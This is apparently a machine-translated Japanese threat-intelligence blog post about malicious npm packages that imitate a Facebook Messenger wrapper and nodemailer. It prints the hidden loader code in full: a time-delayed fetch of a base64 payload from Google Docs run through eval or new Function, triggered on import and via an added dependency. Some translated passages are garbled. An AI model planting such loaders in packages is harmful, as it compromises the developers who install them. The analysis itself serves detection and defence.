2025年3月14日、npm上で悪意のあるパッケージを検出しました node-facebook-messenger-apiと呼ばれる。当初、それはごく一般的なマルウェアのように見えましたが、最終的な目的は不明でした。2025年4月3日、同じ脅威アクターが攻撃を拡大しているのを確認するまで、私たちはそれについて深く考えることはありませんでした。これは、この特定の攻撃者が使用した手法の概要と、彼らの難読化の試みが、実際には彼らをより明白にしてしまうという興味深い観察結果です。
TLDR
node-facebook-messenger-api@4.1.0、正当なFacebookメッセンジャーラッパーを装っていました。axios そして eval() Google Docsリンクからペイロードをプルするために — しかし、ファイルは空でした。使用して ライブラリを組み込み、検出を回避するために、公開から数日後にトリガーされる悪意のあるロジックを埋め込みました。node-smtp-mailer@6.10.0、なりすまして nodemailer、同じC2ロジックと難読化を用いていました。hyper-types)を使用しており、明確な シグネチャパターン が攻撃間の関連性を示していました。最初のステップ
すべてはUTC3月14日04:37に始まりました。この時、当社のシステムが不審なパッケージを検知しました。それはユーザー victor.ben0825、とも名乗る人物 perusworld。 正規リポジトリ このライブラリのものです。

以下は、悪意のあるものとして検出されたコードです。 node-facebook-messenger-api@4.1.0:、ファイル messenger.js、行 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
攻撃者は、769行にも及ぶ大きなクラスファイル内にこのコードを隠蔽しようとしました。ここで、彼らは関数を追加し、それを直接呼び出しています。非常に巧妙ですが、同時に非常に明白でもあります。ペイロードの取得を試みましたが、空でした。これをマルウェアとしてフラグ付けし、次に進みました。
数分後、攻撃者は別のバージョン4.1.1をプッシュしました。唯一の変更点は README.md そして package.json バージョン、説明、インストール手順が変更されたファイルです。著者を悪質な著者としてマークしたため、この時点以降のパッケージは自動的にマルウェアとしてフラグ付けされました。
巧妙な試み
その後、2025年3月20日16:29 UTCに、当社のシステムは自動的にバージョンをフラグ付けしました 4.1.2 パッケージの。何が新しくなったのか見てみましょう。最初の変更点は node-facebook-messenger-api.js, これには以下が含まれます。
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');このファイルへの変更は最終行にあります。単にインポートしているだけではありません。 messenger.js ファイルは要求時に実行されるのではなく、モジュールがインポートされる際に常に実行されます。巧妙です!もう一つの変更はそのファイルに対して行われました。 messenger.js。 以前に追加されたコードは削除され、197行目から219行目にかけて以下のコードが追加されました。
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
その機能の概要は次のとおりです。
- 悪意のあるコードをアクティブ化するかどうかを判断するために、時間ベースのチェックを利用しています。約4日後にのみアクティブ化されます。
- 使用する代わりに
axios、現在はGoogleの使用してライブラリを使用して悪意のあるペイロードをフェッチします。 - 冗長モードを無効にします。これはデフォルトでもあります。
- 次に、悪意のあるコードをフェッチします。
- base64デコードします。
- を使用して新しいFunctionを作成します。
Function()コンストラクタであり、実質的に と同等ですeval()呼び出し。 - 次に、関数を呼び出し、
requireを引数として渡します。
しかし、再びファイルをフェッチしようとすると、ペイロードは取得できません。単に という空のファイルが返されます。 info.txt。 の使用 使用して 興味深い点です。依存関係を調べたところ、オリジナルのパッケージにはいくつかの依存関係が含まれていることがわかりました。
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}悪意のあるパッケージには以下のものが含まれています。
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}ご覧ください、彼らは依存関係としてhyper-typesを追加しました。非常に興味深いですね、これについては後ほど何度か触れることになります。
彼らが再び攻撃してきました!
その後、2025年4月3日06:46に、ユーザーによって新しいパッケージがリリースされました。 cristr。 彼らはthをリリースしました。パッケージ node-smtp-mailer@6.10.0。 当社のシステムは、潜在的に悪意のあるコードが含まれていたため、それを自動的に検出しました。私たちはそれを調査し、少し興奮しました。そのパッケージは~であるかのように装っています。 nodemailer, 異なる名前であるだけです。

当社のシステムはそのファイルを検出しました。 lib/smtp-pool/index.js. すぐにわかりますが、攻撃者は正当なファイルの末尾、最後の~の直前にコードを追加しています。 module.exports。追加された内容は次のとおりです。
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
このコードは知っています!これもまた、4日後にのみ実行されるようにタイムスタンプが設定されています。私たちは期待してペイロードの取得を試みましたが、単に という空のファイルが返されました。 beginner.txt. ブー!依存関係をもう一度見て、どのように取り込まれているかを確認しましょう。 使用して。当社は、正当な~であることに注目しました。 nodemailer パッケージには no direct 依存関係、~のみです devDependencies。しかし、悪意のあるパッケージには次のものが含まれています。
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}これと、最初に検出したパッケージとの間に類似点が見られますか?同じ依存関係リストです。正当なパッケージには依存関係がありませんが、悪意のあるパッケージにはあります。攻撃者は、最初の攻撃からこの攻撃に依存関係の完全なリストを単にコピーしただけです。
興味深い依存関係
では、なぜ彼らは~の使用から切り替えたのでしょうか? axios to 使用して ~を行うために HTTP リクエストを?検出を回避するためであることは間違いありません。しかし興味深いのは、 使用して 直接的な依存関係ではありません。その代わりに、攻撃者はhyper-typesを含めていますが、これは開発者lukasbachによる正当なパッケージです。

参照されているリポジトリがすでに存在しないという事実とは別に、ここで注目すべき興味深い点があります。2つの...があるのがわかりますか? 依存元それらが誰であるか推測できますか?

もし攻撃者が実際に活動を難読化しようとしていたのであれば、彼らが唯一の依存先であるパッケージに依存するのはかなり愚かです。
結びの言葉
これらのnpmパッケージの背後にいる攻撃者は、最終的に機能するペイロードを配信することに失敗しましたが、彼らのキャンペーンは、JavaScriptエコシステムを標的とするサプライチェーン脅威の継続的な進化を浮き彫りにしています。遅延実行、間接インポート、依存関係ハイジャックの使用は、検出メカニズムに対する認識の高まりと、実験への意欲を示しています。しかし、それはまた、ずさんな運用セキュリティと繰り返されるパターンが、いかに彼らを露呈させるかを示しています。防御側として、失敗した攻撃でさえ貴重なインテリジェンスであるということを再認識させられます。すべてのアーティファクト、難読化トリック、再利用された依存関係は、より優れた検出および帰属機能の構築に役立ちます。そして最も重要なことに、パブリックパッケージレジストリの継続的な監視と自動フラグ付けがもはやオプションではなく、不可欠である理由を再確認させます。

